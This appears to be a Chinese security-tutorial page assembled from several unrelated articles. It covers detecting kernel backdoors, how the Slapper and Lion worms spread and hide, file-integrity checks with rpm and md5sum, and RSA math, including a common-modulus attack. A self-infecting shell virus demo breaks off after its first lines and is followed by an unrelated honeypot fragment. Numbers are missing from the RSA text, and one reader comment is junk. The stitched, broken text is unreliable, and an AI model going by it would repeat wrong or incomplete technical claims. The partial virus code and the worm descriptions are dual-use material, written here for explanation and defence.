如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

今天是否有unix病毒发作?

你好,

Linux和其他基于UNIX的平台对于病毒和蠕虫事实上是无懈可击的。我不知道为什么他们对自己的威胁分析这么自信,特别是从第一个大型蠕虫在1988年被Robert Morris发明,在使用Sendmail程序的UNIX系统中被释放出来以后。我猜测每个人都变得热衷于批评微软的操作系统和软件,这已经成为越来越多病毒制造者的攻击目标,然而他们却遗忘了UNIX上的脆弱点。

Linux/UNIX威胁

随着Klez病毒在Linux平台上传染的通告,防毒软件厂商开始提醒我们微软的操作系统不再是唯一易受病毒攻击的操作系统了。即使Linux和其他一些主流UNIX平台的用户可能不是微软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱点。

除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、Linux.Svat和BoxPoison病毒,这些很少被提及。

我记得曾经在两年前参加了一个由欧洲最大的财政机构完成的安全审计项目,当时我听见一个知名的安全专家告诉审计师,UNIX是不易受病毒攻击的。审计师只是简单的说了一句"okay",然后纪录下"UNIX系统对于病毒是安全的"。那个时代已经过去了,你现在可以预料到,安全审计师和IT安全团队已经开始强烈的需要UNIX平台上的病毒策略了。

一个叫Alexander Bartolich的奥地利学生甚至已经完成了如何一个编写Linux平台上ELF 病毒的指南。Bartolich 没有要求做一个Linux病毒先锋,他表示,他只是更有效的说明了和反映了病毒、蠕虫和木马威胁Linux 更好的途径,那些很早就已经在别处被说明了。有了这样具启发性的、在网上发布的文档,基于UNIX的病毒数量只会增长的更快,特别是自Linux 在服务器领域的应用越来越广泛之后。系统管理员也许希望,在亲自读过那本指南以后,对Linux 病毒的理解发生飞跃,从而能够更好的掌握Linux 的脆弱点。

病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改网站却对编写病毒知之甚少的黑客要危险。尽管一个被黑掉的网站可以很快的修好,病毒却加更隐蔽,会带来潜在的安全隐患。你也许不能相信,但是病毒会一直潜伏,直到它给系统带来不可挽回的损害。

受影响的Linux/UNIX平台

不是所有版本的Linux/UNIX平台都已经被影响,但是下面这些是在从前已经被病毒侵害过的系统:

SuSE Linux

Mandrake Linux

Red Hat Linux

Debian GNU Linux

Slackware Linux

FreeBSD

HP/UX

IBM AIX

SCO Unixware

SCO OpenServer

Sun Solaris

SunOS

越多的Linux/UNIX系统连接到局域网和广域网,你的单位就有越多受攻击的可能,这是因为很多UNIX 病毒正在快速的扩散着。使用WINE的 Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让UNIX平台运行Windows应用软件。 WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对UNIX的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。

威胁的本质

你不应该为Linux/UNIX平台上的病毒和Windows操作系统上的病毒工作方式不同而感到奇怪。不过,UNIX中病毒、蠕虫和木马工作的原理和Windows中的还是大同小异的。

病毒只不过是一个能不经过你的同意而感染和摧毁其他程序的程序。蠕虫是一个不经过你的同意而自我复制的代码块。尽管计算机程序中的bug也可能在未经你允许的情况下进行自我复制,它们还是有很大区别的。区别就在于bug的自我复制是无意识的,而病毒的自我复制却是有意识的。木马程序隐藏了它们进行数字破坏的企图。在一个UNIX环境下,木马可能被命名为一个合法的程序(例如tar或者df),可是它却能移除整个文件系统。

这些病毒和蠕虫如何工作

为了给你一个由UNIX病毒、蠕虫和木马产生的重大破坏过程的认识,我带你走进两个假想的环境来揭示它们是如何工作的。每个病毒、蠕虫和木马都有它们自己的特性和行为,当然,这些例子只能给你一个对它们怎样在Linux/UNIX里发作的认识。

让我们从Linux.Slapper worm. Slapper怎样侵袭一个Apache服务器开始。它通过HTTP的80端口连接到服务器,然后发送有效的GET请求,以发现正在使用的Apache服务器的版本,从而为详细的目标系统做一个自我定义。当找到了一个合适的易攻击的系统之后,它又连接到443端口,利用一个缓冲区溢出漏洞来采用合适的蠕虫包替换目标系统。

接着,蠕虫会利用一个本地编译器,例如gcc来编译自己。二进制结果跟着从/tmp目录开始扩散,监听UDP端口,以接受更长远的分布式拒绝服务(DDoS )攻击的指示。最后,DDoS攻击制造TCP洪流令系统瘫痪。某些Slapper病毒的变异体还会扫描整个B类网络寻找易攻击的Apache服务器。

另一种蠕虫,Linux Lion worm,扫描任意的B类网络里的53端口,从而找出易受攻击版本的BIND——最流行的Linux/UNIX DNS服务器。当Linux Lion worm找到一个易受攻击版本的BIND之后,它清除日志文件,接着种植各种木马文件以隐藏它的企图。Linux Lion worm可能安装的木马文件有:

/bin/in.telnetd

/bin/mjy

/bin/ps

/bin/netstat

/bin/ls

/etc/inetd.conf

/sbin/ifconfig

/usr/bin/find

/usr/sbin/nscd

/usr/sbin/in.fingerd

/usr/bin/top

/usr/bin/du

你可以看到,这些文件看起来是合法的UNIX文件,因此你可能怀疑你的第一眼所见,但这就是木马的关键所在。要掩盖它的足迹,Linux Lion可能会删除以下文件:

/.bash_history

/etc/hosts.deny

/root/.bash_history

/var/log/messages

/var/log/maillog

一旦已经对系统构成威胁,Lion会把密码文件发送给远程的计算机,其他Lion 的变种可以通过嗅探器来嗅探活动连接中的密码信息。通过获得系统访问权限,病毒黑客们能利用远程系统进行DDoS攻击,窃取信用卡号,或者窃取和破坏机密文件、纪录。

Linux/UNIX的防毒产品

自从Linux成为最流行的UNIX平台之一以后,大多数为UNIX系统所编写的病毒瞄准了Linux平台。然而,一些厂商同样有一些非主流UNIX平台的软件包。如果你的单位正在使用Solaris、FreeBSD,或者其他版本的UNIX,不要期待找到很多防毒的选择。明显的,Linux/UNIX平台上的防毒软件正在蔓延,在教育,只有一部分厂商提供了Linux/UNIX 平台的软件产品。

一些UNIX防毒产品被特别的设计安装在防火墙之上,因此你可以在UNIX病毒侵害其他系统之前将其拦截在防火墙上。另外的一些UNIX防毒产品被特别的设计在消息和群件服务器上。

保护你的系统不受自动化的黑客行为所侵害

病毒、蠕虫和木马基本上意味着自动化的黑客行为,也许被病毒攻击比被黑客攻击更可能发生。直接的黑客攻击目标一般是服务器,而病毒是等机会的麻烦制造者。如果你的网络包含了Linux或UNIX系统,特别危险的是服务器,不要在作出反应之前等待寻找UNIX病毒、蠕虫和木马是否存在。做一些调查然后选择一个适合你系统的防毒产品,它们能帮你防止病毒的传播。

Linux操作系统下Shell病毒详细介绍

作者:smtk 来源:赛迪网安全社区 

【文中代码,仅供参考!】

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

#!/bin/sh

#文件名:virus_demo.sh

#用途:shell病毒演示。

#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。

#编写:watercloud@xfocus.org

#日期:2003-5-13

#B:+!a%Ct:

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in .

将该程序放入root .bashrc中后台执行:

# root . bashrc

….

Sh .testfile

该程序不能用Ctrl-C终止,系统管理员可用jobs命令检查到,然后用kill %n将它停止。

从上述三种陷阱的设置,我们可以看到一个一般的规律:改变正常的运行状态,设置虚假信息,使入侵者落入陷阱,从而触发入侵检测与预警控制程序。

8.关键技术设计

自蜜罐概念诞生之日起,相关技术一直在长足的发展。到今天为止,蜜罐技术应用的最高度应该说是Honeynet技术的实现。

9.总结

任何事物的存在都会有利弊,蜜罐技术的发展也是伴随着各种不同的观点而不断的成长的。蜜罐技术是通过诱导让黑客们误入歧途,消耗他们的精力,为我们加强防范赢得时间。通过蜜网让我们在受攻击的同时知道谁在使坏,目标是什么。同时也检验我们的安全策略是否正确,防线是否牢固,蜜罐的引入使我们与黑客之间同处于相互斗智的平台counter-intelligence,而不是处处遭到黑枪的被动地位。我们的网络并不安全,IDS,FIREWALL,Encryption技术都有其缺陷性,我们期待它们与蜜罐的完美结合,那将是对网络安全的最好礼物。我们完全相信,蜜罐技术必将在网络安全中发挥出极其重要的作用,一场世界上声势浩大的蜜罐技术行动必将到来。

Linux操作系统上如何阻止系统攻击者

作者:smtk 来源:赛迪网安全社区

在网络攻击环境下,这却是可能发生的。当一个攻击者利用一个系统漏洞非法入侵进入到你的系统。当你使用ps命令列出系统中的所有的进程时,却看不到什么异常的证据。你查看你的password文件,一切也是那么的正常。到底发生了什么事情呢?当系统进入到你的系统以后,第一步要做的事情就是取代系统上某些特定的文件:如netstat命令等。当你使用netstat -a命令时,就不会显示系统攻击者存在的信息。当然攻击者将替代所有的可能泄露其存在的文件。一般来说包括:

/bin/ps

/bin/netstat

/usr/bin/top

由于这些文件已经被取代。所以简单的利用ls命令查看这些文件是看不出什么破绽的。有若干种方法你可以验证系统文件的完整性。如果你安装的是Red Hat, Caldera, TurboLinux或任何使用RPM的系统。你可以利用RPM来验证系统文件的完整性:

首先你应该查明你的那些你需要查看的文件来自哪个软件包,使用rpm命令你可以查明某个文件属于某个包:

# rpm -qf /bin/netstat

net-tools-1.51-3

然后,可以扫描整个rpm包来查看那些发生了改变。对没有发生改变的包使用该命令将没有任何输出信息,如下所示:

# rpm -V net-tools

#

将netstat的5.2版本的二进制可执行文件替换为6.0的版本以后再使用该命令的结果为:

.......T /bin/netstat

这说明/bin/netstat/文件已经被修改。若我使用rpm -qf测试ps和top命令可以得到其属于包procps,然后在验证包procps的完整性。下面是一个被黑的站点的结果:

# rpm -qf /bin/ps

procps.2.0.2-2

# rpm -V procps

SM5..UGT /bin/ps

SM5..UGT /usr/bin/top

攻击者入侵到系统中,并且用自己的ps及top命令替代了我们系统中的命令。从而使管理员看不到其运行的进程,也许是一个sniffer来监听所有的用户所有进出网络的数据并找寻到密码信息。

下面是一个小的script来扫描你系统的所有的rpm库,并检查所有的包是否被篡改。但是应该注意的是并不是所有该scripts报告的问题都是说明该系统文件被攻击者破坏。例如你的apssword文件一般肯定和你安装系统时是不同的:

#!/bin/bash

#

# Run through rpm database and report inconsistencies

#

for rpmlist in `rpm -qa` # These quotes are back quotes

do

echo ----- $rpmlist ----- ; rpm -V $rpmlist

done /tmp/rpmverify.out

当你运行该scripts时,输出被定向到文件/tmp/rpmverify.out你可以使用less命令查看该文件。但是由于文本文件如:/etc/passwd, /etc/inetd.conf等很可能显示为被修改过。但是你如何知道这些是管理员自己修改的还是入侵者修改的呢方法是在你确保你的系统是干净的,没有被攻击者入侵时,你为这些系统文件创建指纹信息。在你怀疑你的系统被入侵时使用这些这些指纹信息来判定系统是否被入侵。创建文件的指纹信息是通过命令md5sum 来实现的:

# md5sum /etc/passwd

d8439475fac2ea638cbad4fd6ca4bc22 /etc/passwd

# md5sum /bin/ps

6d16efee5baecce7a6db7d1e1a088813 /bin/ps

# md5sum /bin/netsat

b7dda3abd9a1429b23fd8687ad3dd551 /bin/netstat

这些数据是我的系统上的文件的指纹信息。不同的系统上的文件的 指纹信息可能是不同的,你应该是使用md5sum来计算自己系统文件的指纹信息。下面是一些你应该创建指纹信息的文件;

/usr/bin/passwd

/sbin/portmap

/bin/login

/bin/ls

/usr/bin/top

/etc/inetd.conf

/etc/services

通过指纹信息你可以决定是否有系统文件被修改。

RSA-100 代表什么?

它是第一个既能用于数据加密也能用于数字签名的算法。它易于理解和操作,也很流行。算法的名字以发明者的名字命名:Ron Rivest, Adi

Shamir 和Leonard Adleman。但RSA的安全性一直未能得到理论上的证明。它经历了各种攻击,至今未被完全攻破。

RSA的安全性依赖于大数分解。公钥和私钥都是两个大素数( 大于 100

个十进制位)的函数。据猜测,从一个密钥和密文推断出明文的难度等同于分解两个大素数的积。

密钥对的产生。选择两个大素数,p 和q 。计算:

n = p * q

然后随机选择加密密钥e,要求 e 和 ( p - 1 ) * ( q - 1 ) 互质。最后,利用 Euclid 算法计算解密密钥d,满足

e * d = 1 ( mod ( p - 1 ) * ( q - 1 ) )

其中n和d也要互质。数e和 n是公钥,d是私钥。两个素数p和q不再需要,应该丢弃,不要让任何人知道。

加密信息 m(二进制表示)时,首先把m分成等长数据块 m1 ,m2,..., mi ,块长s ,其中 = n, s 尽可能的

大。对应的密文是:

ci = mi^e ( mod n ) ( a )

解密时作如下计算:

mi =ci^d ( mod n ) ( b )

RSA 可用于数字签名,方案是用 ( a ) 式签名, ( b )式验证。具体操作时考虑到安全性和 m信息量较大等因素,一般是先作 HASH 运算。

RSA 的安全性。 RSA的安全性依赖于大数分解,但是否等同于大数分解一直未能得到理论上的证明,因为没有证明破解

RSA就一定需要作大数分解。假设存在一种无须分解大数的算法,那它肯定可以修改成为大数分解算法。目前, RSA

的一些变种算法已被证明等价于大数分解。不管怎样,分解n是最显然的攻击方法。现在,人们已能分解多个十进制位的大素数。因此,模数n

必须选大一些,因具体适用情况而定。

RSA的速度。

由于进行的都是大数计算,使得RSA最快的情况也比DES慢上倍,无论是软件还是硬件实现。速度一直是RSA的缺陷。一般来说只用于少量数据加密。

RSA的选择密文攻击。 RSA在选择密文攻击面前很脆弱。一般攻击者是将某一信息作一下伪装( Blind),让拥

有私钥的实体签署。然后,经过计算就可得到它所想要的信息。实际上,攻击利用的都是同一个弱点,即存在这样一个事实:乘幂保留了输入的乘法结构:

( XM )^d = X^d *M^d mod n

前面已经提到,这个固有的问题来自于公钥密码系统的最有用的特征--每个人都能使用公钥。但从算法上无法解决这一问题,主要措施有两条:一条是采用好的公钥协议,保证工作过程中实体不对其他实体任意产生的信息解密,不对自己一无所知的信息签名;另一条是决不对陌生人送来的随机文档签名,签名时首先使用One-Way

HashFunction 对文档作HASH处理,或同时使用不同的签名算法。在中提到了几种不同类型的攻击方法。

RSA的公共模数攻击。

若系统中共有一个模数,只是不同的人拥有不同的e和d,系统将是危险的。最普遍的情况是同一信息用不同的公钥加密,这些公钥共模而且互质,那末该信息无需私钥就可得到恢复。设P为信息明文,两个加密密钥为e1和e2,公共模数是n,则:

C1 = P^e1 mod n

C2 = P^e2 mod n

密码分析者知道n、e1、e2、C1和C2,就能得到P。 因为e1和e2互质,故用Euclidean算法能找到r和s,满足:

r * e1 + s * e2 = 1

假设r为负数,需再用Euclidean算法计算C1^(-1),则

( C1^(-1) )^(-r) * C2^s = P mod n

另外,还有其它几种利用公共模数攻击的方法。总之,如果知道给定模数的一对e和d,一是有利于攻击者分解模数,一是有利于攻击者计算出其它成对的e’和d’,而无需分解模数。解决办法只有一个,那就是不要共享模数n。

RSA的小指数攻击。 有一种提高 RSA速度的建议是使公钥e取较小的值,这样会使加密变得易于实现,速度有

所提高。但这样作是不安全的,对付办法就是e和d都取较大的值。

RSA算法是第一个能同时用于加密和数字签名的算法,也易于理解和操作。RSA是被研究得最广泛的公钥算法,从提出到现在已近二十年,经历了各种攻击的考验,逐渐为人们接受,普遍认为是目前最优秀的公钥方案之一。RSA的安全性依赖于大数的因子分解,但并没有从理论上证明破译RSA的难度与大数分解难度等价。即RSA的重大缺陷是无法从理论上把握它的保密性能如何,而且密码学界多数人士倾向于因子分解不是NPC问题。

RSA的缺点主要有:A)产生密钥很麻烦,受到素数产生技术的限制,因而难以做到一次一密。B)分组长度太大,为保证安全性,n 至少也要 600 bits

以上,使运算代价很高,尤其是速度较慢,较对称密码算法慢几个数量级;且随着大数分解技术的发展,这个长度还在增加,不利于数据格式的标准化。目前,SET(

Secure Electronic Transaction )协议中要求CA采用比特长的密钥,其他实体使用比特的密钥

首先,找出三个数,其中p,q是两个相异的质数,r是与(p-1)(q-1)互质的数这三个数便是privatekey

接著,找出m,使得rm==1mod(p-1)(q-1)这个m一定存在,因为r与(p-1)(q-1)互质,用辗转相除法就可以得到了再来,计算n=pqm,n这两个数便是publickey编码过程是,若资料为a,将其看成是一个大整数,假设an如果a=n的话,就将a表成s进位(s=n,通常取s=2^t),则每一位数均小於n,然后分段编码接下来,计算b==a^mmodn,(0=bn),b就是编码后的资料解码的过程是,计算c==b^rmodpq(0=cpq),於是乎,解码完毕等会会证明c和a其实是相等的

如果第三者进行窃听时,他会得到几个数:m,n(=pq),b他如果要解码的话,必须想办法得到r所以,他必须先对n作质因数分解要防止他分解,最有效的方法是找两个非常的大质数p,q,使第三者作因数分解时发生困难

定理

若p,q是相异质数,rm==1mod(p-1)(q-1),a是任意一个正整数b==a^mmodpq,c==b^rmodpq,

则c==amodpq

证明的过程,会用到费马小定理,叙述如下:

m是任一质数,n是任一整数,则n^m==nmodm 换另一句话说,如果n和m互质,则n^(m-1)==1modm)

运用一些基本的群论的知识,就可以很容易地证出费马小定理的 证明

因为rm==1mod(p-1)(q-1),所以rm=k(p-1)(q-1)+1,其中k是整数,因为在modulo中是preserve乘法的x==ymodzandu==vmodz=xu==yvmodz),

所以,c==b^r==(a^m)^r==a^(rm)==a^(k(p-1)(q-1)+1)modpq

1.如果a不是p的倍数,也不是q的倍数时,则a^(p-1)==1modp(费马小定理)=a^(k(p-1)(q-1))==1modp,a^(q-1)==1modq(费马小定理)=a^(k(p-1)(q-1))==1modq

所以p,q均能整除a^(k(p-1)(q-1))-1=pq|a^(k(p-1)(q-1))-1,即a^(k(p-1)(q-1))==1modpq

=c==a^(k(p-1)(q-1)+1)==amodpq

2.如果a是p的倍数,但不是q的倍数时,则a^(q-1)==1modq(费马小定理)

=a^(k(p-1)(q-1))==1modq=c==a^(k(p-1)(q-1)+1)==amodq=q|c-a

因p|a

=c==a^(k(p-1)(q-1)+1)==0modp

=p|c-a所以,pq|c-a=c==amodpq

3.如果a是q的倍数,但不是p的倍数时,证明同上

4.如果a同时是p和q的倍数时,则pq|a=c==a^(k(p-1)(q-1)+1)==0modpqpq|c-a

=c==amodpq

Q.E.D.

这个定理说明a经过编码为b再经过解码为c时,a==cmodn(n=pq)....

但我们在做编码解码时,限制0=an,0=cn,

所以这就是说a等於c,所以这个过程确实能做到编码解码的功能

还有一些事值得探讨的

首先是质数的选取

上一篇提到为了使因数分解发生困难, 所选择的质数要愈大愈好,但这也意味著, 质数的选取也同样的困难因为就目前而言,

跟本没有一个所谓的质数产生公式可用

解析数论上有一个定理, 当 p 很大时, 质数的分布密度与 1/log p 成正比,也就是说一个质数和下一个质数的差平均而言与 log p

成正比还好 log p 的成长并不会很快, 所以就采用一个方法 --- 暴力搜寻法一个数接著一个数找 直到找到质数为止.

即使 n 大到 2^512, 所要花的时间也不会大到天文数字,用 486 的话, 大概在数秒钟至数十秒之内会找到 (包括判定的时间).

现在有一个问题了 如何去判定一个数是否是质数,因为到目前为止, 并没有一个很有效的方法来判定,当然有人会问, 为什麽不用试除法.嗯 如果用这个方法,

2^512 这麽大的数, 大概要除个大於 10^30 年.虽然如此, 但还是得去判断啊

有一个方法, 是利用费马小定理去做判定的.假设一数 p, 如果 p 是质数, a^p == a mod p,如果 p 不是质数, 那麽 a^p ==

a mod p 虽然也有可能成立,但成立的机率非常小, 而且 p 愈大时机率愈小。用这种方法, 我们就找一些质数来测定, 比如验证。2^p == 2

mod p, 3^p == 3 mod p, 5^p == 5 mod p 等式是否成立,如此一来, p 是质数的机率就变得非常非常高了

现在来讨论 RSA 演算法编码解码的速度

因为我们是对一些很大的数作计算,所以, 一些加减乘除的运算, 必须自己写成函式来处理这些事就 N-digit key 的资料而言, 加减法需要

O(N) 的时间, 乘除法需要 O(N^2) 的时间至於计算 a^b mod c, 则是需要 O(N^3) 的时间, 亦即, 要对 N-digit

的资料用 N-digit key 作编码解码, 是需要 O(N^3) 的时间一般的实作, N 是介於 512 至 1024 之间,

(太小的话很有可能被因数分解开) 所以算算 N^3, 其计算量也是相当惊人的这意味著, 用 RSA 演算法来编码解码其速度是非常慢的 既然 RSA

的速度很慢, 这就表示它并不适合所有情况..... 比如 ftp, 这就不适合全程使用 RSA 作编码解码

如何去改善速度? 还记得之前所提到的 DES 吧? RSA 搭配上 DES 的话, 就可以弥补编码解码时速度太慢的问题了 先前提到用 DES

作编码解码时, 双方必须使用同一个 key所以, 我们可以用 RSA 演算法将 DES key 送给对方, 而后接下来的资料, 就全部利用 DES

来做编码解码, 如此, 整个过程中, 因使用 RSA 而耗掉的时间就不会太多 再者, 产生 RSA key 所耗掉的时间, 也是相当惊人的先前提到,

以 N-digit key 为例, 两个相邻质数平均间隔为 O(N), 对於这些数, 我们要利用费马小定理去判定是否可能为质数, 而计算 a^b

mod c 所花的时间为 O(N^3), 所以算一算, 平均要找到一个 N-digit 质数, 需费时 O(N^4)所以在产生 RSA key

时也是一件非常耗时的工作所以, 一般的作法是, 先花一大把时间去找 RSA key, 往后的编码解码就使用这一组 key 就以

stand-alone telnet daemon 为例好了, 可行的做法是 telnetd 一开始执行时, 先花时间运算出 RSA key, 之后

telnet 连上这个 telnetd 之后, 丢给 telnet 这个 RSA key (public), 然后 telnet 将 DES key

用这个 RSA key 编码丢后回给 telnetd, 之后的通讯就用这个 DES key 作编码解码

2条大神的评论

  • avatar
    访客 2022-07-17 上午 12:50:56

    ivox.so\\system\\lib\\libsoundpool.so\\system\\lib\\libsqlite.so\\system\\lib\\libssl.so\\system\\lib\\libstdc++.so\\s

  • avatar
    访客 2022-07-16 下午 05:46:03

    否被入侵者安装了后门,不妨全局查找这两个文件:find / -name “.rhosts” –printfind / -name “.forward” –print在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,

发表评论